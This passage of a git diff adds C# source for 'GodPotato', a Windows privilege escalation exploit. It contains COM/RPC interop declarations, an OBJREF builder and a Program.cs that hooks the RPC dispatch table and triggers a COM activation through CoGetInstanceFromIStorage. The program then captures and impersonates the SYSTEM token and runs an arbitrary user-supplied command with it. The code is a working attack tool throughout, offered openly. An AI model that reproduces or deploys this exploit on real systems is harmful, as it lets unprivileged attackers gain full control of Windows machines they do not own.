[MarshalAs(UnmanagedType.Interface)] out IStorage ppstg); + + void OpenStorage([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In][MarshalAs(UnmanagedType.Interface)] IStorage pstgPriority, [In] uint grfMode, [In] IntPtr snbExclude, [In] uint reserved, [MarshalAs(UnmanagedType.Interface)] out IStorage ppstg); + + void CopyTo([In] uint ciidExclude, [In][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 0)] Guid[] rgiidExclude, [In] IntPtr snbExclude, [In][MarshalAs(UnmanagedType.Interface)] IStorage pstgDest); + + void MoveElementTo([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In][MarshalAs(UnmanagedType.Interface)] IStorage pstgDest, [In][MarshalAs(UnmanagedType.LPWStr)] string pwcsNewName, [In] uint grfFlags); + + void Commit([In] uint grfCommitFlags); + + void Revert(); + + void EnumElements([In] uint reserved1, [In] IntPtr reserved2, [In] uint reserved3, [MarshalAs(UnmanagedType.Interface)] out IEnumSTATSTG ppEnum); + + void DestroyElement([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName); + + void RenameElement([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsOldName, [In][MarshalAs(UnmanagedType.LPWStr)] string pwcsNewName); + + void SetElementTimes([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In][MarshalAs(UnmanagedType.LPArray)] FILETIME[] pctime, [In][MarshalAs(UnmanagedType.LPArray)] FILETIME[] patime, [In][MarshalAs(UnmanagedType.LPArray)] FILETIME[] pmtime); + + void SetClass([In] ref Guid clsid); + + void SetStateBits([In] uint grfStateBits, [In] uint grfMask); + + void Stat([Out][MarshalAs(UnmanagedType.LPArray)] STATSTG[] pstatstg, [In] uint grfStatFlag); +} diff --git a/NativeAPI/IStream.cs b/NativeAPI/IStream.cs new file mode 100644 index 0000000..eab0d93 --- /dev/null +++ b/NativeAPI/IStream.cs @@ -0,0 +1,20 @@ +using System; +using System.Runtime.InteropServices; + +namespace GodPotato.NativeAPI{ + [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + [ComImport, Guid("0000000c-0000-0000-C000-000000000046")] + public interface IStream { + void Read([Out, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbRead); + void Write([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbWritten); + void Seek(long dlibMove, uint dwOrigin, out long plibNewPosition); + void SetSize(long libNewSize); + void CopyTo(IStream pstm, long cb, out long pcbRead, out long pcbWritten); + void Commit(uint grfCommitFlags); + void Revert(); + void LockRegion(long libOffset, long cb, uint dwLockType); + void UnlockRegion(long libOffset, long cb, uint dwLockType); + void Stat(out STATSTG pstatstg, uint grfStatFlag); + void Clone(out IStream ppstm); + } +} diff --git a/NativeAPI/NativeMethods.cs b/NativeAPI/NativeMethods.cs new file mode 100644 index 0000000..5f0c8b6 --- /dev/null +++ b/NativeAPI/NativeMethods.cs @@ -0,0 +1,273 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Runtime.InteropServices.ComTypes; +using System.Security.Principal; +using System.Text; + +namespace GodPotato.NativeAPI +{ + public class NativeMethods + { + + public readonly static IntPtr BAD_HANLE = new IntPtr(-1); + + + public static readonly uint HANDLE_FLAG_INHERIT = 0x00000001; + public static readonly uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002; + + public readonly static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000; + public readonly static uint TOKEN_ASSIGN_PRIMARY = 0x0001; + public readonly static uint TOKEN_DUPLICATE = 0x0002; + public readonly static uint TOKEN_IMPERSONATE = 0x0004; + public readonly static uint TOKEN_QUERY = 0x0008; + public readonly static uint TOKEN_QUERY_SOURCE = 0x0010; + public readonly static uint TOKEN_ADJUST_PRIVILEGES = 0x0020; + public readonly static uint TOKEN_ADJUST_GROUPS = 0x0040; + public readonly static uint TOKEN_ADJUST_DEFAULT = 0x0080; + public readonly static uint TOKEN_ADJUST_SESSIONID = 0x0100; + public readonly static uint TOKEN_ELEVATION = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID; + + public readonly static uint STARTF_FORCEONFEEDBACK = 0x00000040; + public readonly static uint STARTF_FORCEOFFFEEDBACK = 0x00000080; + public readonly static uint STARTF_PREVENTPINNING = 0x00002000; + public readonly static uint STARTF_RUNFULLSCREEN = 0x00000020; + public readonly static uint STARTF_TITLEISAPPID = 0x00001000; + public readonly static uint STARTF_TITLEISLINKNAME = 0x00000800; + public readonly static uint STARTF_UNTRUSTEDSOURCE = 0x00008000; + public readonly static uint STARTF_USECOUNTCHARS = 0x00000008; + public readonly static uint STARTF_USEFILLATTRIBUTE = 0x00000010; + public readonly static uint STARTF_USEHOTKEY = 0x00000200; + public readonly static uint STARTF_USEPOSITION = 0x00000004; + public readonly static uint STARTF_USESHOWWINDOW = 0x00000001; + public readonly static uint STARTF_USESIZE = 0x00000002; + public readonly static uint STARTF_USESTDHANDLES = 0x00000100; + + + public static readonly uint STATUS_SUCCESS = 0x00000000; + public static readonly uint ERROR_SUCCESS = 0x00000000; + + public static readonly int SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001; + public static readonly int SE_PRIVILEGE_ENABLED = 0x00000002; + public static readonly int SE_PRIVILEGE_REMOVED = 0X00000004; + + public readonly static int E_NOINTERFACE = unchecked((int)0x80004002); + public readonly static int NOERROR = 0; + + + public readonly static int STGM_CREATE = 0x00001000; + public readonly static int STGM_CONVERT = 0x00020000; + public readonly static int STGM_FAILIFTHERE = 0x00000000; + + public readonly static int STGM_READ = 0x00000000; + public readonly static int STGM_WRITE = 0x00000001; + public readonly static int STGM_READWRITE = 0x00000002; + + public readonly static int STGM_SHARE_DENY_NONE = 0x00000040; + public readonly static int STGM_SHARE_DENY_READ = 0x00000030; + public readonly static int STGM_SHARE_DENY_WRITE = 0x00000020; + public readonly static int STGM_SHARE_EXCLUSIVE = 0x00000010; + + + public static readonly int NMPWAIT_WAIT_FOREVER = unchecked((int)0xffffffff); + public static readonly int NMPWAIT_NOWAIT = 0x00000001; + public static readonly int NMPWAIT_USE_DEFAULT_WAIT = 0x00000000; + + public static readonly int PIPE_UNLIMITED_INSTANCES = 255; + + public static readonly int PIPE_WAIT = 0x00000000; + public static readonly int PIPE_NOWAIT = 0x00000001; + public static readonly int PIPE_READMODE_BYTE = 0x00000000; + public static readonly int PIPE_READMODE_MESSAGE = 0x00000002; + public static readonly int PIPE_TYPE_BYTE = 0x00000000; + public static readonly int PIPE_TYPE_MESSAGE = 0x00000004; + public static readonly int PIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000; + public static readonly int PIPE_REJECT_REMOTE_CLIENTS = 0x00000008; + + public static readonly int PIPE_ACCESS_INBOUND = 0x00000001; + public static readonly int PIPE_ACCESS_OUTBOUND = 0x00000002; + public static readonly int PIPE_ACCESS_DUPLEX = 0x00000003; + + + public static Guid IUnknownGuid = new Guid("00000000-0000-0000-C000-000000000046"); + public static Guid IID_IPersistFile = new Guid("0000010b-0000-0000-C000-000000000046"); + public static Dictionary IIDPTR = new Dictionary(); + + [Flags] + public enum CLSCTX : uint + { + INPROC_SERVER = 0x1, + INPROC_HANDLER = 0x2, + LOCAL_SERVER = 0x4, + INPROC_SERVER16 = 0x8, + REMOTE_SERVER = 0x10, + INPROC_HANDLER16 = 0x20, + RESERVED1 = 0x40, + RESERVED2 = 0x80, + RESERVED3 = 0x100, + RESERVED4 = 0x200, + NO_CODE_DOWNLOAD = 0x400, + RESERVED5 = 0x800, + NO_CUSTOM_MARSHAL = 0x1000, + ENABLE_CODE_DOWNLOAD = 0x2000, + NO_FAILURE_LOG = 0x4000, + DISABLE_AAA = 0x8000, + ENABLE_AAA = 0x10000, + FROM_DEFAULT_CONTEXT = 0x20000, + ACTIVATE_32_BIT_SERVER = 0x40000, + ACTIVATE_64_BIT_SERVER = 0x80000, + ENABLE_CLOAKING = 0x100000, + APPCONTAINER = 0x400000, + ACTIVATE_AAA_AS_IU = 0x800000, + ACTIVATE_NATIVE_SERVER = 0x1000000, + ACTIVATE_ARM32_SERVER = 0x2000000, + PS_DLL = 0x80000000, + SERVER = INPROC_SERVER | LOCAL_SERVER | REMOTE_SERVER, + ALL = INPROC_SERVER | INPROC_HANDLER | LOCAL_SERVER | REMOTE_SERVER + } + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public int nLength; + public IntPtr pSecurityDescriptor; + public bool bInheritHandle; + } + + + [StructLayout(LayoutKind.Sequential)] + public struct MULTI_QI + { + public IntPtr pIID; + [MarshalAs(UnmanagedType.Interface)] + public object pItf; + public int hr; + } + + [StructLayout(LayoutKind.Sequential)] + public class COSERVERINFO + { + public uint dwReserved1; + [MarshalAs(UnmanagedType.LPWStr)] + public string pwszName; + public IntPtr pAuthInfo; + public uint dwReserved2; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_VERSION + { + public ushort MajorVersion; + public ushort MinorVersion; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_SYNTAX_IDENTIFIER + { + public Guid SyntaxGUID; + public RPC_VERSION SyntaxVersion; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_SERVER_INTERFACE + { + public uint Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr DispatchTable; + public uint RpcProtseqEndpointCount; + public IntPtr RpcProtseqEndpoint; + public IntPtr DefaultManagerEpv; + public IntPtr InterpreterInfo; + public uint Flags; + } + + [StructLayout(LayoutKind.Sequential)] + public struct RPC_DISPATCH_TABLE + { + + /// unsigned int + public uint DispatchTableCount; + + /// RPC_DISPATCH_FUNCTION* + public IntPtr DispatchTable; + + /// LONG_PTR->int + public int Reserved; + } + + [StructLayout(LayoutKind.Sequential)] + public struct MIDL_SERVER_INFO + { + public IntPtr /* PMIDL_STUB_DESC */ pStubDesc; + public IntPtr /* SERVER_ROUTINE* */ DispatchTable; + public IntPtr /* PFORMAT_STRING */ ProcString; + public IntPtr /* unsigned short* */ FmtStringOffset; + public IntPtr /* STUB_THUNK * */ ThunkTable; + public IntPtr /* PRPC_SYNTAX_IDENTIFIER */ pTransferSyntax; + public IntPtr /* ULONG_PTR */ nCount; + public IntPtr /* PMIDL_SYNTAX_INFO */ pSyntaxInfo; + } + + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool VirtualProtect( + [In] IntPtr pBlock, + [In] uint size, + [In] uint newProtect, + [Out] out uint oldProtect +); + [DllImport("Advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + internal static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize); + + [DllImport("kernel32")] + public static extern void CloseHandle(IntPtr hObject); + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool RevertToSelf(); + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool ConnectNamedPipe(IntPtr handle, IntPtr overlapped); + [DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, EntryPoint = "CreateNamedPipeW", SetLastError = true)] + public static extern IntPtr CreateNamedPipe(string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout, ref SECURITY_ATTRIBUTES securityAttributes); + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); + [DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)] + public static extern int CreateILockBytesOnHGlobal( + IntPtr hGlobal, + [MarshalAs(UnmanagedType.Bool)] bool fDeleteOnRelease, + out ILockBytes ppLkbyt); + + [DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)] + public static extern int StgCreateDocfileOnILockBytes( + ILockBytes plkbyt, + int grfMode, + uint reserved, + out IStorage ppstgOpen); + [DllImport("ole32.dll")] + public static extern int CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, ref Guid pclsid, + [MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter, CLSCTX dwClsCtx, + IStorage pstg, uint cmq, [In, Out] MULTI_QI[] rgmqResults); + + [DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)] + public static extern int CreateBindCtx(uint reserved, out IBindCtx ppbc); + + [DllImport("ole32.dll", CharSet = CharSet.Unicode, PreserveSig = false, ExactSpelling = true)] + public static extern int CreateObjrefMoniker(IntPtr pUnk, out IMoniker ppMoniker); + public static IntPtr GuidToPointer(Guid g) + { + IntPtr ret = IntPtr.Zero; + lock (IIDPTR) + { + if (!IIDPTR.TryGetValue(g, out ret)) + { + ret = Marshal.AllocCoTaskMem(16); + Marshal.Copy(g.ToByteArray(), 0, ret, 16); + IIDPTR[g] = ret; + + } + } + return ret; + } + } +} diff --git a/NativeAPI/ObjRef.cs b/NativeAPI/ObjRef.cs new file mode 100644 index 0000000..e856d64 --- /dev/null +++ b/NativeAPI/ObjRef.cs @@ -0,0 +1,234 @@ +using System; +using System.IO; +using System.Text; + +namespace GodPotato.NativeAPI{ + + public enum TowerProtocol : ushort { + EPM_PROTOCOL_DNET_NSP = 0x04, + EPM_PROTOCOL_OSI_TP4 = 0x05, + EPM_PROTOCOL_OSI_CLNS = 0x06, + EPM_PROTOCOL_TCP = 0x07, + EPM_PROTOCOL_UDP = 0x08, + EPM_PROTOCOL_IP = 0x09, + EPM_PROTOCOL_NCADG = 0x0a, /* Connectionless RPC */ + EPM_PROTOCOL_NCACN = 0x0b, + EPM_PROTOCOL_NCALRPC = 0x0c, /* Local RPC */ + EPM_PROTOCOL_UUID = 0x0d, + EPM_PROTOCOL_IPX = 0x0e, + EPM_PROTOCOL_SMB = 0x0f, + EPM_PROTOCOL_NAMED_PIPE = 0x10, + EPM_PROTOCOL_NETBIOS = 0x11, + EPM_PROTOCOL_NETBEUI = 0x12, + EPM_PROTOCOL_SPX = 0x13, + EPM_PROTOCOL_NB_IPX = 0x14, /* NetBIOS over IPX */ + EPM_PROTOCOL_DSP = 0x16, /* AppleTalk Data Stream Protocol */ + EPM_PROTOCOL_DDP = 0x17, /* AppleTalk Data Datagram Protocol */ + EPM_PROTOCOL_APPLETALK = 0x18, /* AppleTalk */ + EPM_PROTOCOL_VINES_SPP = 0x1a, + EPM_PROTOCOL_VINES_IPC = 0x1b, /* Inter Process Communication */ + EPM_PROTOCOL_STREETTALK = 0x1c, /* Vines Streettalk */ + EPM_PROTOCOL_HTTP = 0x1f, + EPM_PROTOCOL_UNIX_DS = 0x20, /* Unix domain socket */ + EPM_PROTOCOL_NULL = 0x21 + } + + internal class ObjRef { + + [Flags] + enum Type : uint { + Standard = 0x1, + Handler = 0x2, + Custom = 0x4 + } + + const uint Signature = 0x574f454d; + public readonly Guid Guid; + public readonly Standard StandardObjRef; + + public ObjRef(Guid guid, Standard standardObjRef) { + Guid = guid; + StandardObjRef = standardObjRef; + } + + public ObjRef(byte[] objRefBytes) { + + BinaryReader br = new BinaryReader(new MemoryStream(objRefBytes), Encoding.Unicode); + + if (br.ReadUInt32() != Signature) { + throw new InvalidDataException("Does not look like an OBJREF stream"); + } + + uint flags = br.ReadUInt32(); + Guid = new Guid(br.ReadBytes(16)); + + if ((Type)flags == Type.Standard) { + StandardObjRef = new Standard(br); + } + } + + public byte[] GetBytes() { + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + + bw.Write(Signature); + bw.Write((uint)1); + bw.Write(Guid.ToByteArray()); + + StandardObjRef.Save(bw); + + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + internal class SecurityBinding { + + public readonly ushort AuthnSvc; + public readonly ushort AuthzSvc; + public readonly string PrincipalName; + + public SecurityBinding(ushort authnSvc, ushort authzSnc, string principalName) { + AuthnSvc = authnSvc; + AuthzSvc = authzSnc; + PrincipalName = principalName; + } + + public SecurityBinding(BinaryReader br) { + + AuthnSvc = br.ReadUInt16(); + AuthzSvc = br.ReadUInt16(); + char character; + string principalName = ""; + + while ((character = br.ReadChar()) != 0) { + principalName += character; + } + + br.ReadChar(); + } + + + public byte[] GetBytes() { + BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode); + + bw.Write(AuthnSvc); + bw.Write(AuthzSvc); + + if (PrincipalName != null && PrincipalName.Length > 0) + bw.Write(Encoding.Unicode.GetBytes(PrincipalName)); + + bw.Write((char)0); + bw.Write((char)0); + + return ((MemoryStream)bw.BaseStream).ToArray(); + } + } + + internal class StringBinding { + public readonly TowerProtocol TowerID; + public readonly string NetworkAddress; + + public StringBinding(TowerProtocol towerID, string networkAddress) { + TowerID = towerID; + NetworkAddress = networkAddress; + } + + public StringBinding(BinaryReader br) { + TowerID = (TowerProtocol)br.ReadUInt16(); + char character; + string networkAddress = ""; + + while ((character = br.ReadChar()) != 0) { + networkAddress += character; + } + + br.ReadChar(); + NetworkAddress = networkAddress; + } + + internal byte[] GetBytes() { + BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode); + + bw.Write((ushort)TowerID); + bw.Write(Encoding.Unicode.GetBytes(NetworkAddress)); + bw.Write((char)0); + bw.Write((char)0); + + return ((MemoryStream)bw.BaseStream).ToArray(); + } + } + + internal class DualStringArray { + private readonly ushort NumEntries; + private readonly ushort SecurityOffset; + public readonly StringBinding StringBinding; + public readonly SecurityBinding SecurityBinding; + + public DualStringArray(StringBinding stringBinding, SecurityBinding securityBinding) { + NumEntries = (ushort)((stringBinding.GetBytes().Length + securityBinding.GetBytes().Length) / 2); + SecurityOffset = (ushort)(stringBinding.GetBytes().Length / 2); + + StringBinding = stringBinding; + SecurityBinding = securityBinding; + } + + public DualStringArray(BinaryReader br) { + NumEntries = br.ReadUInt16(); + SecurityOffset = br.ReadUInt16(); + + StringBinding = new StringBinding(br); + SecurityBinding = new SecurityBinding(br); + } + + internal void Save(BinaryWriter bw) { + + byte[] stringBinding = StringBinding.GetBytes(); + byte[] securityBinding = SecurityBinding.GetBytes(); + + bw.Write((ushort)((stringBinding.Length + securityBinding.Length) / 2)); + bw.Write((ushort)(stringBinding.Length / 2)); + bw.Write(stringBinding); + bw.Write(securityBinding); + } + } + + internal class Standard { + + const ulong Oxid = 0x0703d84a06ec96cc; + const ulong Oid = 0x539d029cce31ac; + + public readonly uint Flags; + public readonly uint PublicRefs; + public readonly ulong OXID; + public readonly ulong OID; + public readonly Guid IPID; + public readonly DualStringArray DualStringArray; + + public Standard(uint flags, uint publicRefs, ulong oxid, ulong oid, Guid ipid, DualStringArray dualStringArray) { + Flags = flags; + PublicRefs = publicRefs; + OXID = oxid; + OID = oid; + IPID = ipid; + DualStringArray = dualStringArray; + } + + public Standard(BinaryReader br) { + Flags = br.ReadUInt32(); + PublicRefs = br.ReadUInt32(); + OXID = br.ReadUInt64(); + OID = br.ReadUInt64(); + IPID = new Guid(br.ReadBytes(16)); + + DualStringArray = new DualStringArray(br); + } + + internal void Save(BinaryWriter bw) { + bw.Write(Flags); + bw.Write(PublicRefs); + bw.Write(OXID); + bw.Write(OID); + bw.Write(IPID.ToByteArray()); + DualStringArray.Save(bw); + } + } + } +} diff --git a/Program.cs b/Program.cs new file mode 100644 index 0000000..6472e62 --- /dev/null +++ b/Program.cs @@ -0,0 +1,150 @@ +using System; +using System.IO; +using GodPotato.NativeAPI; +using static GodPotato.NativeAPI.NativeMethods; +using System.Security.Principal; +using SharpToken; +using static GodPotato.ArgsParse; + +namespace GodPotato +{ + internal class Program + { + + public static IStorage CreateIStorage() + { + int hr = 0; + IStorage ppstgOpen; + Guid guid = Guid.NewGuid(); + if ((hr = CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes)) == NOERROR) + { + if ((hr = StgCreateDocfileOnILockBytes(lockBytes, NativeMethods.STGM_CREATE | NativeMethods.STGM_READWRITE | NativeMethods.STGM_SHARE_EXCLUSIVE, 0, out ppstgOpen)) != NativeMethods.NOERROR) + { + throw new Exception("StgCreateDocfile fail hr = " + hr); + } + } + else + { + throw new Exception("CreateILockBytesOnHGlobal fail hr = " + hr); + } + return ppstgOpen; + } + + + + class GodPotatoArgs + { + [ArgsAttribute("clsid", "{4991d34b-80a1-4291-83b6-3328366b9097}", Description = "Clsid")] + public string clsid { get; set; } + [ArgsAttribute("cmd","cmd /c whoami",Description = "CommandLine",Required = true)] + public string cmd { get; set; } + } + + + + static void Main(string[] args) + { + TextWriter ConsoleWriter = Console.Out; + + GodPotatoArgs potatoArgs; + + string helpMessage = PrintHelp(typeof(GodPotatoArgs), @" + FFFFF FFF FFFFFFF + FFFFFFF FFF FFFFFFFF + FFF FFFF FFF FFF FFF FFF FFF + FFF FFF FFF FFF FFF FFF FFF + FFF FFF FFF FFF FFF FFF FFF + FFFF FFFFFFF FFFFFFFF FFF FFF FFFFFFF FFFFFFFFF FFFFFF FFFFFFFFF FFFFFF + FFFF FFFF FFFF FFF FFFF FFF FFFF FFFF FFFF FFF FFF FFF FFF FFF FFFF + FFFF FFFFF FFF FFF FFF FFF FFFFFFFF FFF FFF FFF F FFF FFF FFF FFF + FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFF FFF FFF FFFF + FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFFFFF FFF FFF FFFF + FFF FFF FFF FFF FFF FFF FFF FFF FFF FFF FFFF FFF FFF FFF FFFF + FFFF FFFF FFFF FFF FFFF FFF FFF FFF FFFF FFF FFFF FFF FFF FFFF FFF + FFFFFFFF FFFFFFF FFFFFFFF FFF FFFFFFF FFFFFF FFFFFFFF FFFFFFF FFFFFFF + FFFFFFF FFFFF FFFFFFF FFF FFFFF FFFFF FFFFFFFF FFFF FFFF +" +, "GodPotato", new string[0]); + + + if (args.Length == 0) + { + ConsoleWriter.WriteLine(helpMessage); + return; + } + else + { + try + { + potatoArgs = ParseArgs(args); + } + catch (Exception e) + { + if (e.InnerException != null) + { + e = e.InnerException; + } + ConsoleWriter.WriteLine("Exception:" + e.Message); + ConsoleWriter.WriteLine(helpMessage); + return; + } + } + + + + + try + { + GodPotatoContext godPotatoContext = new GodPotatoContext(ConsoleWriter, Guid.NewGuid().ToString()); + + ConsoleWriter.WriteLine("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule); + ConsoleWriter.WriteLine("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr); + ConsoleWriter.WriteLine("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr); + ConsoleWriter.WriteLine("[*] UseProtseqFunctionParamCount: {0}", godPotatoContext.UseProtseqFunctionParamCount); + + ConsoleWriter.WriteLine("[*] HookRPC"); + godPotatoContext.HookRPC(); + ConsoleWriter.WriteLine("[*] Start PipeServer"); + godPotatoContext.Start(); + + Guid comGuid = new Guid(potatoArgs.clsid); + + MULTI_QI[] qis = new MULTI_QI[1]; + qis[0].pIID = NativeMethods.GuidToPointer(IUnknownGuid); + IStorage storage = CreateIStorage(); + GodPotatoStorageTrigger storageTrigger = new GodPotatoStorageTrigger(storage, godPotatoContext); + try + { + ConsoleWriter.WriteLine("[*] Trigger RPCS CLSID: " + comGuid); + + int hr = CoGetInstanceFromIStorage(null, ref comGuid, null, CLSCTX.LOCAL_SERVER, storageTrigger, 1, qis); + ConsoleWriter.WriteLine("[*] CoGetInstanceFromIStorage: 0x{0:x}" ,hr); + } + catch (Exception e) + { + ConsoleWriter.WriteLine(e); + } + + WindowsIdentity systemIdentity = godPotatoContext.GetToken(); + if (systemIdentity != null) + { + ConsoleWriter.WriteLine("[*] CurrentUser: " + systemIdentity.Name); + TokenuUils.createProcessReadOut(Console.Out, systemIdentity.Token, potatoArgs.cmd); + + } + else + { + ConsoleWriter.WriteLine("[!] Failed to impersonate security context token"); + } + godPotatoContext.Restore(); + godPotatoContext.Stop(); + } + catch (Exception e) + { + ConsoleWriter.WriteLine("[!] " + e.Message); + + } + + } + } +} diff --git a/Properties/AssemblyInfo.cs b/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..0a31ecd --- /dev/null +++ b/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("GodPotato")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("GodPotato")] +[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 会使此程序集中的类型 +//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("2ae886c3-3272-40be-8d3c-ebaede9e61e1")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 +//通过使用 "*",如下所示: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpToken.cs b/SharpToken.cs new file mode 100644 index 0000000..c03a663 --- /dev/null +++ b/SharpToken.cs @@ -0,0 +1,1417 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Runtime.ConstrainedExecution; +using System.Runtime.InteropServices; +using System.Security.Permissions; +using System.Security.Principal; +using System.Text; + +namespace SharpToken +{ + + public enum IntegrityLevel : uint + { + Untrusted, + LowIntegrity = 0x00001000, + MediumIntegrity = 0x00002000, + MediumHighIntegrity = 0x100 + MediumIntegrity, + HighIntegrity = 0X00003000, + SystemIntegrity = 0x00004000, + ProtectedProcess = 0x00005000 + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_ACCESS_TOKEN + { + public IntPtr Token; + public IntPtr Thread; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public int nLength; + public IntPtr pSecurityDescriptor; + public bool bInheritHandle; + } + [StructLayout(LayoutKind.Sequential)] + public struct TOKEN_MANDATORY_LABEL + { + + public SID_AND_ATTRIBUTES Label; + + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct TOKEN_GROUPS + { + public uint GroupCount; + + public SID_AND_ATTRIBUTES Groups; + } + + + [StructLayout(LayoutKind.Sequential)] + public struct SID_AND_ATTRIBUTES + { + public IntPtr Sid; + public uint Attributes; + } + + + [Flags] + public enum ProcessCreateFlags : uint + { + DEBUG_PROCESS = 0x00000001, + DEBUG_ONLY_THIS_PROCESS = 0x00000002, + CREATE_SUSPENDED = 0x00000004, + DETACHED_PROCESS = 0x00000008, + CREATE_NEW_CONSOLE = 0x00000010, + NORMAL_PRIORITY_CLASS = 0x00000020, + IDLE_PRIORITY_CLASS = 0x00000040, + HIGH_PRIORITY_CLASS = 0x00000080, + REALTIME_PRIORITY_CLASS = 0x00000100, + CREATE_NEW_PROCESS_GROUP = 0x00000200, + CREATE_UNICODE_ENVIRONMENT = 0x00000400, + CREATE_SEPARATE_WOW_VDM = 0x00000800, + CREATE_SHARED_WOW_VDM = 0x00001000, + CREATE_FORCEDOS = 0x00002000, + BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, + ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, + INHERIT_PARENT_AFFINITY = 0x00010000, + INHERIT_CALLER_PRIORITY = 0x00020000, + CREATE_PROTECTED_PROCESS = 0x00040000, + EXTENDED_STARTUPINFO_PRESENT = 0x00080000, + PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, + PROCESS_MODE_BACKGROUND_END = 0x00200000, + CREATE_BREAKAWAY_FROM_JOB = 0x01000000, + CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, + CREATE_DEFAULT_ERROR_MODE = 0x04000000, + CREATE_NO_WINDOW = 0x08000000, + PROFILE_USER = 0x10000000, + PROFILE_KERNEL = 0x20000000, + PROFILE_SERVER = 0x40000000, + CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000, + } + + public enum PROCESS_INFORMATION_CLASS + { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + MaxProcessInfoClass + + + } + + [Flags] + public enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VirtualMemoryOperation = 0x00000008, + VirtualMemoryRead = 0x00000010, + VirtualMemoryWrite = 0x00000020, + DuplicateHandle = 0x00000040, + CreateProcess = 0x000000080, + SetQuota = 0x00000100, + SetInformation = 